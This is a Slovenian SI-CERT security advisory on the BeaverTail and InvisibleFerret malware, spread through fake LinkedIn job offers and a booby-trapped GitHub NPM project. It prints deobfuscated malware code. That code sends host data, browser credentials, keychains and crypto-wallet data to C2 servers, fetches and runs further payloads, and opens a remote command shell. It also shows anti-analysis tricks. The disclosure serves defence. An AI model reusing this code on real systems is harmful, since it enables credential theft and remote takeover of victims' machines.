

SI-CERT TZ016 / BeaverTail & InvisibleFerret

 cert.si/tz016/

7. februar 2025

Uvod

Obravnavali smo zanimiv primer napada, pri katerem se napadalci lažno predstavljajo kot iskalci zaposlitve ali pa želijo kakšno drugo sodelovanje z neko organizacijo. Prvi kontakt praviloma vzpostavijo preko omrežja LinkedIn, nato pa poskušajo zavesti žrtev v zagon zlonamerne kode.

Njihov cilj so predvsem podjetja in posamezniki, ki se ukvarjajo z Web3 tehnologijo (pametne pogodbe, kriptovalute, tehnologija veriženja blokov...).

Merilyn Edeki • 6:44 PM
Hi, 
How are you?
I'm very glad to connect with you on LinkedIn.

At our company, we are launching a new initiative to develop a cryptocurrency token and create a dedicated website for it. The project includes smart contract and token development, with a timeline of one year. Given your expertise in blockchain development, we believe you could make a significant contribution to our company. Your insights and skills would be invaluable in helping us achieve our goals.

We understand that you may have other commitments, and we are open to discussing a flexible arrangement that accommodates your schedule. This contract would allow you to collaborate with our company and contribute to this exciting project while balancing your current commitments.

Looking forward to your response.

Best regards,
Merilyn Edeki
Talent Acquisition Coordinator at C'est la vie Wellness Retreat LLC

Merilyn Edeki • 1:10 PM
Hi Merilyin,
thx for contacting us..I have a development company in which we indeed create custom made solutions for our customers.
We are interested in the project can we get more info or how do you plan to proceed.

Merilyn Edeki • 2:48 PM
Okay
Here is the project details that we are going to develop
Please review the document first and let me know if you are available to work on this project
 ProjectOverviewforCestla...
140 KB


Merilyn Edeki • 9:06 PM
Hi,
from your documentation it seems feasible the only thing that is not clear is if you want to make it fully web 3 or mixture.
Further more, we don't usually work in that stack if this is negotiable we can definitely move forward to have a more concrete meeting and respond to all open questions.
Looking forward to hearing from you!

Merilyn Edeki • 5:43 PM
Okay
We will check and come back asap

Merilyn Edeki • 5:44 PM
If you have any questions please do not hesitate to ask

Merilyn Edeki • 5:44 PM
Okay

Merilyn Edeki • 5:47 PM
Okay. That's good
We would like you to review our initial project before your technical meeting. Understanding the project beforehand will be very helpful for both your task and our tech meeting. We will share our company's GitHub repository with you. Should we send the invitation to your GitHub? Please let me know your GitHub username.

Merilyn Edeki • 5:56 PM
Yes, this would be great if you have anything more already specified. My GitHub username is:

if you have any NDA to sign beforehand is also not a problem from our side

Tekom komunikacije napadalec pošlje povezavo do nekega predstavitvenega projekta, ki na prvi pogled zgleda povsem običajen in neškodljiv, vendar pa ob zagonu izvrši tudi zlonamerne kode, ki ukrade podatke in vzpostavi stranska vrata do okuženega sistema.

Sama zlonamerna koda je razdeljena na dva glavna dela, ki sta znana po imenih **BeaverTail** in **InvisibleFerret**. Razlikujeta se po namenu in programskem jeziku, v katerem sta modula spisana: BeaverTail – Node.js, InvisibleFerret – Python.

Ta tehnični zapis se ne ukvarja z atribucijo napadalcev, raziskave in poročila nekaterih drugih varnostnih strokovnjakov pa povezujejo tovrstno prakso in zlonamerno kodo z aktivnostmi državno sponzoriranih hekerjev iz Severne Koreje.

Analiza projekta

The screenshot shows a GitHub repository named 'addingtoken'. The repository is private, has 1 branch, and 0 tags. The main branch has 529 commits from user 'krishnaacharyaa' last month, all related to updating project structure. The README file contains the following content:

```
Express + React Demo

Node v16 | Express | React

How To

Install Node.js v16.

Step 1: Install Backend Dependencies

In your terminal, navigate to the /backend directory of the project and run the following command to install the backend dependencies:

cd backend
```

Analiza deljenega projekta je pokazala, da gre za Node.js Package Manager (NPM) paket. Projekt vsebuje tudi navodila za gradnjo in zagon programa, katera izvedejo tudi zlonamerno kodo.

```
{ package.json
1  {
2    "name": "cryptoever-server",
3    "version": "1.0.0",
4    "engines": {
5      "node": ">=16.17.1"
6    },
7    "description": "",
8    "main": "server.js",
9    "scripts": {
10      "test": "echo \"Error: no test specified\" && exit 1",
11      "start": "node server.js",
12      "build": "npm run build",
13      "server": "nodemon server.js",
14      "dev": "concurrently \"npm run server\" ",
15      "lint": "eslint './**/*.js' --quiet",
16      "lintFull": "eslint './**/*.js'",
17      "lintFix": "eslint . --ext .js"
18    },
19    "author": "",
20    "license": "ISC",
21  >   "dependencies": { ...
22  >     },
23  >   "devDependencies": { ...
24  >     }
25 }
```

Konfiguracijska datoteka **package.json** vsebuje podatke o NPM paketu in definira tudi glavno (main) datoteko, v kateri se začne izvajanje Node.js kode.

```
js server.js
1  const mongoose = require("mongoose");
2  const express = require('express');
3  const dotenv = require('dotenv');
4  const path = require('path');
5  const app = require('./app');
6
7  dotenv.config({path: './confiv.env'});
8  // console.log(process.env);
9
10 // Connect DB
11 > ...
```

Datoteka **server.js** sama ne vsebuje zlonamerne kode, vendar pa s funkcijo **require** naloži dodatne module. Večina teh modulov je standardnih in legitimnih, modul **app** je pa lokalnen in se nahaja v datoteki **app.js**.

```
JS app.js
1  const path = require('path');
2  const express = require('express');
3  const helmet = require('helmet');
4  const mongoSanitize = require('express-mongo-sanitize');
5  const hpp = require('hpp');
6  const cookieParser = require('cookie-parser');
7  const compression = require('compression');
8  const rateLimit = require('express-rate-limit');
9  const cors = require('cors');
10 const usersRouter = require('./routes/userRoutes');
11 const walletsRouter = require('./routes/walletRoutes');
12 const transactionsRouter = require('./routes/transactionRoutes');
13 const adminRouter = require('./routes/adminRoutes');
14 const { testInterval } = require('./services/interval');
15
16 const app = express();
17 > ...
66
67 module.exports = app;
```

Datoteka **app.js** tudi direktno ne vsebuje zlonamerne kode, naloži pa dodatne lokalne module. Večina teh modulov vsebuje le odvečno kodo, ki ni preveč zanimiva, v modulu **userRoutes** se pa skriva začetek zlonamerne kode.


userRoutes.js

The screenshot shows a dark-themed code editor window with the title bar 'addingtoken-main'. The left sidebar shows the file path 'backend > routes > userRoutes.js > ...'. The main code area contains the following JavaScript code:

```
34
35 // router.delete('/deleteMe', userController.deleteMe);
36
37 module.exports = router;
```

The status bar at the bottom right displays 'Ln 36, Col 1' and other file metadata.

Datoteka **userRoutes.js** na koncu vsebuje prikrito kodo. Vsa prikrita koda je v eni sami vrstici in ima pred njo veliko presledkov. Na ta način se skrije v tekstovnih urejevalnikih brez možnosti preloma besed (word wrap). Koda pa je bila verjetno zamaskirana oz. obfuskirana z uporabo odprto-kodnega obfuscatorja [javascript-obfuscator](#).



The screenshot shows a code editor window with a dark theme. The title bar says "userRoutes_deob.js X". The search bar contains "files". The code editor displays a large block of deobfuscated JavaScript code. The code includes various functions, object prototypes, and require statements for modules like "fs", "os", "request", "path", "child_process", and "node:process". The code is heavily annotated with line numbers from 1 to 35. On the right side of the editor, there is a vertical sidebar containing a tree-like navigation structure, likely a file browser or a code navigation tool. The status bar at the bottom right shows "Ln 3, Col 1" and "Spaces: 2" and "UTF-8" and "LF" and "JavaScript".

```
JS userRoutes_deob.js X
JS userRoutes_deob.js > ...
1  Object.prototype.toString;
2  Object.defineProperties;
3  const F = (function () {
4      let ax = true;
5      return function (ay, az) {
6          const aA = ax
7          ? function () {
8              if (az) {
9                  const aB = az.apply(ay, arguments);
10                 return (az = null), aB;
11             }
12         }
13         : function () {};
14     return (ax = false), aA;
15   };
16 })();
17 H = F(this, function () {
18   return H.toString()
19   .search("((.+)*)+.$")
20   .toString()
21   .constructor(H)
22   .search("((.+)*)+.$");
23 });
24 H();
25 const Fs = require("fs"),
26   Os = require("os"),
27   Request = require("request"),
28   Path = require("path"),
29   exec = require("child_process").exec,
30   Proc = require("node:process"),
31   homedir = Os.homedir(),
32   hostname = Os.hostname(),
33   platform = Os.platform(),
34   userInfo = Os.userInfo();
35 let P;
```

S pomočjo orodja [synchrony](#) in nekaj ročnega dela smo pridobili bolj berljivo oz. deobfuskirano obliko kode. Analiza kode je pokazala, da najprej poskusi poslati nekaj osnovnih informacij o sistemu na t.i. C2 strežnik, ki je pod nadzorom napadalcev, zatem pa z njega prenese in izvrši nadaljnji tovor. Ta postopek skripta izvrši 3x, in sicer ob zagonu in nato še dvakrat z zamikom 10 minut, nato pa zaključi izvajanje.

```

JS userRoutes.js
109  const at = async (ax, ay) => {
110    const az = {
111      ts: P, // timestamp
112      type: a3, // "ZU1RINz7"
113      hid: as, // hostname
114      ss: ax, // param1 = "sqj"
115      cc: ay, // param2 = '3D1' + Proc.argv[1]
116    },
117    aB = {
118      ["url": "http://23.106.253.221:1244/keys",
119       ["formData"]]: az,
120    };
121    try {
122      Request.post(aB, (aC, aD, aE) => {});
123    } catch (aC) {}
124  };
125  var au = 0;
126  const av = async () => {
127    try {
128      P = Date.now().toString();
129      await (async () => {
130        as = hostname; // hostname
131        "d" == platform[0] && (as = as + "+" + userInfo.username); // hostname+username
132        let ax = "3D1";
133        try {
134          ax += Proc.argv[1];
135        } catch (ay) {}
136        at("sqj", ax);
137      })();
138      (async () => {
139        await new Promise((ax, ay) => {
140          ab();
141        });
142      })();
143    } catch (ax) {}
144  };
145  av();
146  let aw = setInterval(() => {
147    (au += 1) < 3 ? av() : clearInterval(aw);
148  }, 600000);

```

V zgornjem izseku kode vidimo funkcijo, ki pošlje podatke na C2 strežnik. To naredi s HTTP POST zahtevo na sledeč naslov:

| hxxp://23[.]106.253.221:1244/keys

Opomba: vsi C2 strežniki iz tega zapisa v času objave niso bili več dosegljivi

Med podatki, ki jih pošlje v zahtevi, so timestamp, type/fingerprint, host ID (hostname), data type, in data.

Prenos in zagon tovora

JS userRoutes.js

```

40  const ab = () => {
41    let aB = Path.join(homedir, ".vscode"); // $HOME\.vscode
42    try {
43      aC = aB;
44      Path.mkdirSync(aC, { recursive: true });
45    } catch (aF) {
46      aB = homedir;
47    }
48    var aC;
49    const aD = "http://23.106.253.221:1244/j/" + a3, // http://23.106.253.221:1244/j/ZU1RINz7
50    aE = Path.join(aB, "test.js"); // $HOME\.vscode\test.js
51    try {
52      !(function (aG) {
53        Fs.rmdirSync(aG);
54      })(aE);
55    } catch (aG) {}
56    Request.get(aD, (aH, aI, aJ) => {
57      if (!aH) {
58        try {
59          Fs.writeFileSync(aE, aJ);
60        } catch (aK) {}
61        af(aB);
62      }
63    });
64  },
65  af = (ax) => {
66    const aB = "http://23.106.253.221:1244/p",
67    aC = Path.join(ax, "package.json"); // $HOME\.vscode\package.json
68    pathExists(aC)
69      ? aj(ax)
70      : Request.get(aB, (aD, aE, aF) => {
71        if (!aD) {
72          try {
73            Fs.writeFileSync(aC, aF);
74          } catch (aG) {}
75          aj(ax);
76        }
77      });
78  },
79  aj = (ax) => {
80    const ay = 'cd "' + ax + '" ' + "&& npm i --silent",
81    az = Path.join(ax, "node_modules");
82    try {
83      pathExists(az)
84        ? ao(ax)
85        : exec(ay, (aA, aB, aC) => {
86          | an(ax);
87        });
88    } catch (aA) {}
89  },
90  an = (ax) => {
91    const ay = 'npm --prefix "' + ax + '" ' + "install",
92    az = Path.join(ax, "node_modules");
93    try {
94      pathExists(az)
95        ? ao(ax)
96        : exec(ay, (aA, aB, aC) => {
97          | ao(ax);
98        });
99    } catch (aA) {}
100 },
101 ao = (ax) => {
102   const ay = Path.join(ax, "test.js"),
103   az = "node " + ay;
104   try {
105     exec(az, (aA, aB, aC) => {});
106   } catch (aA) {}
107 };

```

Drugi del skripte je namenjen prenosu in izvršitvi tovora. Vidimo, da funkcija poskusi kreirati novo mapo z imenom **.vscode** v domači mapi trenutnega uporabnika (Windows – **%USERPROFILE%**, Linux/Darwin – **\$HOME, ~/**) in nato vanjo prenese datoteki **test.js** (**hxxp://23[.]106.253.221:1244/j/ZU1RINz7**) in **package.json** (**hxxp://23[.]106.253.221:1244/p**). Zatem v isti mapi požene ukaz **npm install**, ki prenese potrebne knjižnice (dependencies), nato pa še **node test.js**, ki izvrši prenešen tovor.

Preprečevanje izvedbe

Skripta vsebuje tudi zanimiv način preprečevanja izvedbe deobfuskirane kode, ki lahko oteži izvajanje dinamične analize:

```
JS userRoutes.js
 3  const F = (function () {
 4    let ax = true;
 5    return function (ay, az) {
 6      const aA = ax
 7      ? function () {
 8        if (az) {
 9          const aB = az.apply(ay, arguments);
10          return (az = null), aB;
11        }
12      }
13      : function () {};
14      return (ax = false), aA;
15    };
16  })();
17 H = F(this, function () {
18   return H.toString()
19   .search("((.+)++)+$")
20   .toString()
21   .constructor(H)
22   .search("((.+)++)+$");
23 });
24 H();
```

Notranja funkcija v spremenljivki **H** pridobi niz, ki vsebuje kodo zunanje funkcije (rezultat funkcije **F**), in nad njim požene regex **((.+)++)+\$**. V primerih, kjer niz vsebuje novo vrstico, čas izvajanja tega regularnega izraza eksponentno narašča glede na število znakov v vrstici. Tovrstno izvajanje ima tudi ime catastrophic backtrace ali runaway regular expression. To pomeni, da se bo za deobfuskirano kodo, ki vsebuje presledke, ta izraz predolgo izvajal in vrnil neko napako. Ker pa je obfuskirana koda v eni sami vrstici, se izraz hitro zaključi in nato se lahko izvede še nadaljnja zlonamerna koda.

Glavni Node.js modul – BeaverTail


Če se vrnemo malo nazaj in se osredotočimo na prenešen tovor, ugotovimo, da gre tudi tu za NPM paket.

```

{} package.json
1  {
2    "dependencies": {
3      "child_process": "^1.0.2",
4      "request": "^2.88.2",
5      "crypto": "^1.0.1"
6    }
7  }

```

Konfiguracijska datoteka (**package.json**) je zelo preprosta in vsebuje le nekaj knjižnic, ki se prenesejo z **npm install** ukazom.



```

JS test.js
home > .vscode > JS test.js > ...
1  Object.prototype.toString, Object.defineProperties; const a3=(function(a4,a5){const ap=a3,
a6=a4();while(![]){try{const a7=-parseInt(ap(0x19a))/0x1+-parseInt(ap(0x178))/0x2*(parseInt
(ap(0x13b))/0x3)+parseInt(ap(0x181))/0x4*(-parseInt(ap(0x17d))/0x5)+parseInt(ap(0x147))/0x6
+parseInt(ap(0x15c))/0x7*(parseInt(ap(0x183))/0x8)+parseInt(ap(0x1a3))/0x9*(-parseInt(ap
(0x176))/0xa)+-parseInt(ap(0x161))/0xb*(-parseInt(ap(0x134))/0xc);if(a7==a5)break;else a6
['push']([a6['shift']]());}catch(a8){a6['push']([a6['shift']]());}})(a2,0xe8560));const a1=
(function(){let a4=!![];return function(a5,a6){const a7=a4?function(){const aq=a3;if(a6
{const a8=a6[aq(0x193)](a5,arguments);return a6=null,a8;}:function(){return a4=![,a7];}}()
,a0=a1(this,function(){const ar=a3;return a0[ar(0x19d)][('search')('((.+)')+)$')[ar
(0x19d)]()|[ar(0x140)][a0][ar(0x148)][ar(0x144)];});a0();const t=as(0x132),c=as(0x17c),
a=require('fs'),$=require('os'),r=a4=>(s1=a4[as(0x1a2)][0x1],Buffer['from'](s1,t)[as(0x19d)]
(c));rq=require(r(as(0x18e))),pt=require(r(as(0x169))),ex=require(r('aY2hpGRfcHJvY2VzCw'))
[r(as(0x157)]),hd=$[r(as(0x19e))](,),hs=$[r('caG9zdG5hbWU')](,),pl=$[r(as(0x133))]()
,uin=$[r
(as(0x18b))](,),td=$[r(as(0x154))](,);let l;const n=a4=>Buffer[as(0x188)][a4,t][as(0x19d)](c),
h=>{const au=as;let a4=au(0x14c);for(var a5='',a6='',a7='',a8='',a9=0x0;a9<0xa;a9++)a5
+=a4[a9],a6+=a4[0xa+a9],a7+=a4[0x14+a9],a8+=a4[0x1e+a9];return a5=a5+a7+a8,n(a6)+n(a5)};
s=a4=>a4[as(0x159)](/~([a-z]+|\|)/,(a5,a6)=>'/'==a6?hd:pt[n(as(0x19c))](hd)+'/'+a6,e=as
(0x16a),Z=as(0x19b),o=as(0x19f),u=as(0x198),b='L2NsalVudA',G=as(0x130),i=as(0x146);function
y(a4){const av=as,a5=n(av(0x177));try{return a[a5](a4),!0x0;}catch(a6){return!0x1;}}const
m=n(as(0x15d));function d(a4){return a[m](a4);}function p(a4){const aw=as;return scrs=n(aw
(0x194)),a[scrs](a4);}const W=as(0x164),Y=as(0x141),f=n('RGVmYXVsdA'),w=n(as(0x186)),V=r(as
(0x152)),v=r('cZm9ybURhdGE'),j=r('adXJs'),L=r(as(0x1a9)),R=r(as(0x170)),N=n(as(0x13a)),z=n
(as(0x143)),F=n('cG9zdA'),X=as(0x1a7),k=as(0x135),x=as(0x15a),U=as(0x1a1),_=as(0x16b),
B='R29jYWwv'+B,B,g];let T=as(0x153);const H=a4=>{const ax=as,a5=r(ax(0x179)),a6=r(ax(0x172)),
a7=n(av(0x16f)) a8=f(a61+17+toString'1/)'+tune'+a hid'+T f51+o1 a9-h/1+tuflat ee-5f+1.''
Ln 2, Col 1  Spaces: 4  UTF-8  CRLF  {} JavaScript

```

Nadaljnja koda se pa nahaja v datoteki **test.js**. Tako kot prejšnji del je tudi ta koda obfuskirana in vsebuje enak način preprečevanja izvedbe z uporabo regularnih izrazov. Kodo smo deobfuskirali na podoben način kot v prejšnjem delu in dodatno smiselno preimenovali funkcije ter nekatere spremenljivke. Pridobljena koda je malo bolj kompleksna in vsebuje dva dela, s katerima najprej ukrade podatke in nato prenese ter izvede kodo nadaljnje stopnje.

Kraja podatkov

JS test.js

```

195  stealerMain = async () => {
196    hostId = hostname;
197    "d" == platform[0] && (hostId = hostId + "+" + userInfo.username);
198    try {
199      const a4 = s("~/");
200      await stealExtensionDataWrapper(chromeConfig, 0);
201      await stealExtensionDataWrapper(braveConfig, 1);
202      await stealExtensionDataWrapper(operaConfig, 2);
203      "w" == platform[0]
204        ? ((pa = "" + a4 + "/AppData/" + "Local/Microsoft/Edge" + "/User Data"),
205          await stealExtensionData(pa, "3_", false))
206        : "l" == platform[0]
207        ? (await linuxPasswordStealer(), await linuxChromeStealer(), await linuxFirefoxStealer())
208        : "d" == platform[0] &&
209        (await (async () => {
210          let a5 = [];
211          const a6 = "Login Data";
212          if (((pa = "" + homeDir + "/Library/Keychains/login.keychain"), fileExists(pa))) {
213            try {
214              a5.push({
215                ["value"]: fileCreateReadStream(pa),
216                ["options": { ["filename": "logkc-db"] } ],
217              });
218            } catch (a9) {}
219          } else {
220            if (((pa += "-db"), fileExists(pa))) {
221              try {
222                a5.push({
223                  ["options": { ["filename": "logkc-db"] } ],
224                });
225              } catch (aa) {}
226            }
227          }
228        })
229      try {
230        let ac = "";
231        if (((ac = "" + homeDir + "/Library/Application Support/" + "Google/Chrome"), ac && "" != ac &&
232        getAccess(ac))) {
233          for (let ad = 0; ad < 200; ad++) {
234            const ae =
235              ac + "/" + (0 === ad ? "Default" : "Profile" + " " + ad) + "/" + a6;
236            try {
237              if (!getAccess(ae)) {
238                continue;
239              }
240              const af = ac + "/ld_" + ad;
241              getAccess(af)
242                ? a5.push({
243                  ["value"]: fileCreateReadStream(af),
244                  ["options": { ["filename": "pld_" + ad] } ],
245                })
246                : fs.copyFile(ae, af, (ag) => {
247                  let ah = [
248                    {
249                      ["value"]: fileCreateReadStream(ae),
250                      ["options": { ["filename": "pld_" + ad] } ],
251                    },
252                  ];
253                  uploadData(ah);
254                }) catch (ag) {}
255              }
256            }
257          } catch (ah) {}
258          return uploadData(a5), a5;
259        })(),
260        await macStealer(),
261        await macFirefoxStealer();
262        await uploadDirWrapper("Exodus/exodus.wallet", "exod");
263        await uploadDirWrapper("atomic/Local Storage/leveldb", "atmc");
264      } catch (a5) {}

```

Zgoraj je vidna glavna funkcija, ki pridobi in pošlje podatke iz različnih spletnih brskalnikov. **Najprej poskusi pridobiti podatke iz razširitev/dodatkov brskalnikov, na Linux in Darwin sistemih pa nato še druge podatke, shranjenih v brskalnikih (gesla, seje, zgodovina, itd.).** Pridobljene podatke pošlje nadzornemu strežniku preko HTTP POST zahtev na naslov:

| `hxxp://23[.]106.253.221:1244/uploads`

Spodaj je naveden seznam razširitev iz katerih program krade podatke:

ID razširitve	Ime	Vir
nkbihfbeogaeaoehlefknkodbefgpgknn	Metamask	Chrome store
ejbalbakoplchlglhecdalmeeeajnimhm	Metamask	Microsoft store
ibnejdfjmmkpcnlpebklnkoeoihofec	TronLink	Chrome store
fhbohimaelbohpjbldcngcnapndodjp	BNB Chain Wallet	Chrome store
hnfanknocfeofbddgcijnmhnfnkdnaad	Coinbase Wallet	Chrome store
bfnaelmomeimhlpmgjnophhpkkoljpa	Phantom	Chrome store
aeachknmefphepcionboohckonoeemg	Coin98 Wallet	Chrome store
egjidjbpglichdcondbcdnbeepgdph	Trust Wallet	Chrome store
hifafgmcccdpekplomjjkcfgodnhcellj	Crypto.com Wallet Extension	Chrome store
aholpfodialjgjfhomihkjbmgidlcdno	Exodus Web3 Wallet	Chrome store
mcohilncbfahbmgdjkbpemccioligcge	OKX Wallet	Chrome store
pdliaogehgdbhbnnmklieghmmjkpigpa	Bybit Wallet	Chrome store
bhghoamapcdpbohphigoooaddinpkbai	Authenticator	Chrome store

Prenos in izvršitev naslednje stopnje

```

JS test.js
534     execNextStage = async () =>
535     await new Promise((a4, a5) => {
536         if ("w" != platform[0]) {
537             () => {
538                 const a7 = b,
539                     a8 = u,
540                     a9 = Z,
541                     aa = O,
542                     ac = "http://23.106.253.221:1244" + a7 + "/" + e,
543                     ad = "" + homeDir + aa;
544                 let ae = 'python3 "' + ad + '"';
545                 af = 'python "' + ad + '"';
546                 request.get(ac, (ag, ah, ai) => {
547                     ag ||
548                         (fs.writeFileSync(ad, ai),
549                         exec(ae, (aj, ak, al) => {
550                             aj && exec(af, (am, an, ao) => {});
551                         }));
552                 });
553             })();
554         } else {
555             fileExists("'" + ("'" + homeDir + G + i))
556                 ? () => {
557                     const a7 = b,
558                         a8 = Z,
559                         a9 = u,
560                         aa = O,
561                         ab = "http://23.106.253.221:1244" + a7 + "/" + e,
562                         ac = "" + homeDir + aa,
563                         ad = "''" + homeDir + G + i + "''" + ac + "''";
564                     try {
565                         removeFile(ac);
566                     } catch (ae) {}
567                     request.get(ab, (af, ag, ah) => {
568                         if (!af) {
569                             try {
570                                 fs.writeFileSync(ac, ah);
571                                 exec(ad, (ai, aj, ak) => {});
572                             } catch (ai) {}
573                         }
574                     });
575                 }()
576             : downloadPythonEnv();
577         });
578     });

```

Drugi del kode na Windows sistemih najprej namesti Python 3.11 okolje. To naredi tako, da z orodjem curl prenese ZIP arhiv iz naslova **hxxp://23[.]106.253.221:1244/pdown**, ki vsebuje celotno Python okolje za Windows OS in ga shrani pod imenom **p2.zip** v mapi z začasnimi datotekami. Ta arhiv nato z orodjem tar razširi v domačo mapo uporabnika. Zanimivost pri tem je uporaba orodji curl in tar (bsdtar – omogoča razširitev ZIP datotek), ki sta bolj značilni za operacijske sisteme podobne Unixu, vendar sta orodji vsebovani tudi v Windows OS-ih novejših od verzije 1803 (build 17063). Za ostale operacijske sisteme program predvideva, da je Python okolje že nameščeno.

Zatem program s HTTP GET zahtevo pridobi kodo iz naslova:

| **hxxp://23[.]106.253.221:1244/client/ZU1RINz7**

Odgovor shrani v datoteko **.npl** v domači mapi uporabnika in jo nato izvrši s Python interpretorjem. Zatem se zlonamerna koda nadaljuje v različnih Python skriptah. Node.js koda v tej sekciji je znana po imenu BeaverTail in se jo lahko prepozna po formatu URL-jev, s katerimi komunicira, imenu prenešenih datotek (**.npl**) in po sami funkciji prenosa Python okolja in zagonu tovora.

Python – InvisibleFerret

```
❶ .npl
❷     sType = 'ZU1RINz7'
❸     qt="GlmYk"+"sYL"+"TQUAKQQBLWw1DR48XUd1PCsNGT8EATRgKB9BKh4RKT4oDwgqGF8qNTRmGSsSSTAhNwMfLUsBPD0yCR4tGHk8NCQJHS1RAC...
❹     import base64
❺     dx=base64.b64decode(qt[8:]);sk=qt[:8];sl=len(dx);rb=' '
❻     for aa in range(sl):k=aa&7;c=chr(dx[aa]^ord(sk[k]));rb+=c
❼     exec(rb)
```

Koda v datoteki **.npl** je šifrirana po zelo preprostem postopku. Spremenljivka **qt** vsebuje ključ (prvih 8 znakov) in zašifrirane podatke (preostali znaki). Podatke najprej dekodira (base64) in dešifrira (XOR), nato pa dobljeno kodo izvrši s pomočjo funkcije **exec**.

```

❶ .npl
1 sType = 'ZU1RINz7'
2
3 import base64,platform,os,subprocess,sys
4 try:import requests
5 except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
6
7 ot = platform.system()
8 home = os.path.expanduser("~")
9 host="I1My4yMjE=MjMuMTA2Lj"
10 host1 = '23.106.253.221'
11 host2 = 'http://23.106.253.221:1244'
12 pd = os.path.join(home, ".n2")
13 ap = pd + "/pay"
14 def download_payload():
15     if os.path.exists(ap):
16         try:os.remove(ap)
17         except OSError:return True
18     try:
19         if not os.path.exists(pd):os.makedirs(pd)
20     except:pass
21
22     try:
23         aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
24         with open(ap, 'wb') as f:f.write(aa.content)
25         return True
26     except Exception as e: return False
27 res=download_payload()
28 if res:
29     if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW |
30                                         subprocess.CREATE_NEW_PROCESS_GROUP)
31     else:subprocess.Popen([sys.executable, ap])
32
33 if ot=="Darwin":sys.exit(-1)
34
35 ap = pd + "/bow"
36 def download_browser():
37     if os.path.exists(ap):
38         try:os.remove(ap)
39         except OSError:return True
40     try:
41         if not os.path.exists(pd):os.makedirs(pd)
42     except:pass
43     try:
44         aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
45         with open(ap, 'wb') as f:f.write(aa.content)
46         return True
47     except Exception as e: return False
48 res=download_browser()
49 if res:
50     if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW |
51                                         subprocess.CREATE_NEW_PROCESS_GROUP)
52     else:subprocess.Popen([sys.executable, ap])

```

Poleg enostavnega šifriranja koda ne vsebuje drugih metod obfuscacije, kar močno olajša analizo. Namenski kode je prenos in izvršitev dveh dodatnih Python skript oz. modulov:

Ime modula	URL	Mesto prenosa
Payload	hxxp://23[.]106.253.221:1244/payload/ZU1RINz7	\$HOME/.n2/pay
Browser	hxxp://23[.]106.253.221:1244/brow/ZU1RINz7	\$HOME/.n2/bow

Program na Darwin sistemih izvrši samo prvi modul (Payload) in zatem, s klicem funkcije **sys.exit**, zaključi izvajanje. Začetek programa vsebuje tudi zanimiv način, s katerim dinamično namesti vse potrebne knjižnice (dependencies).

Payload modul

```
❸ pay
1   sType = 'ZU1RINz7'
2
3   _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[:-1]));exec((__)(b'==QBDfReP0///...'))
```

Podobno kot prejšnji del je tudi tu koda prekrita, vendar po nekoliko drugačnem postopku. V tem primeru je koda stisnjena (zlib), kodirana (base64) in na koncu je rezultat kodiranja še obrnjen. Razširjena koda je nato izvedena s funkcijo **exec**. Vendar po le eni iteraciji tega postopka še ne dobimo povrnjene kode, saj je v tem primeru koda večkrat stisnjena.

Pridobljena koda po prvi iteraciji:

```
❸ tmp.py
1   exec((__)(b'+AF8/8377z//knq30HkZXiw3tLbgJ6htHIJZafVRV82R1/NNynyaQ0ipLphioserP9FziGb+kAR+znOrDoAK/RzM7wezmW0dwfh9r...'))
```

Za popolno povrnitev kode smo spisali preprosto Python skripto:

```
❸ decompress.py
1   data=b'==QBDfReP0///9J/Vuj3SiAL1hyJcBKfm+vr0SH1KXNEjbW+9/yBePd0mWF+JX1cbHWF+/DawmA1LG8FXEEBAoYQmc04fMmZauk3Q16SE...
2   decompress = Lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[:-1]))
3
4   data = decompress(data)
5   i = 1
6   while data.startswith(b"exec((__)(b'"):
7       data = decompress(data[11:-2])
8       i += 1
9
10  print(f'Code decompressed in {i} iterations\n')
11  open('decompressed.py', 'wb').write(data)
```

Po 50 iteracijah dobimo dokončno razširjeno kodo. Tudi ta ne vsebuje kakšnih drugih metod obfuscacije. Njen glavni namen je izvajanje prejetih ukazov iz C2 strežnika.

```

pay.py
571 HOST0 = '173.211.106.101'
572 PORT0 = 1244
573
574 class Client():
575     def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count =
576     0;A.shell = _N
577
578     @property
579     def make_connection(A):
580         while _T:
581             try:
582                 A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
583                 s = Session(A.client_socket);s.connect(A.server_ip, A.server_port)
584                 A.shell = Shell(s);A.is_active = _T
585                 if A.shell.shell():
586                     try:dir = os.getcwd();fn=os.path.join(dir,sys.argv[0]);os.remove(fn)
587                     except:pass
588                     return _T
589                     sleep(15)
590                 except Exception as e:sleep(20);pass
591             def run(A):
592                 if A.make_connection:return
593
594 client = Client()

```

Zgornji izsek kode vsebuje razred **Client**, ki izvede povezavo na C2 strežnik in začne komunikacijo, ki poteka preko TCP protokola. V tem primeru je naslov C2 strežnika sledeč:

| 173[.]211.106.101:1244

Po povezavi na C2 strežnik začne program izvajati prejete ukaze. Struktura paketa, ki vsebuje ukaz, je zelo preprosta:

4 bajti – big endian ...

Velikost podatkov Podatki

Sam ukaz (podatki) je v JSON formatu in je sestavljen iz ID ukaza (število) in argumentov. Razred, ki bere in izvrši ukaze, je **Shell**:

```

pay.py

195  class Shell(object):
196      def __init__(A,S):
197          A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
198          A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
199          A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.
200          ssh_env,9:A.ssh_zcp}
201
202      def listen_recv(A):
203          while A.is_alive:
204              recv=A.sess.recv()
205              if recv== -1:
206                  if A.timeout_count<30:A.timeout_count+=1;continue
207                  else:A.timeout_count=0;recv=_N
208              if recv:
209                  A.timeout_count=0
210                  with A.lock:
211                      D=json.loads(recv);c=D['code'];args=D['args']
212                      if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
213                      else:
214                          if A.is_alive:A.is_alive=_F;A.close()
215                      else:
216                          if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
217
218      def shell(A):
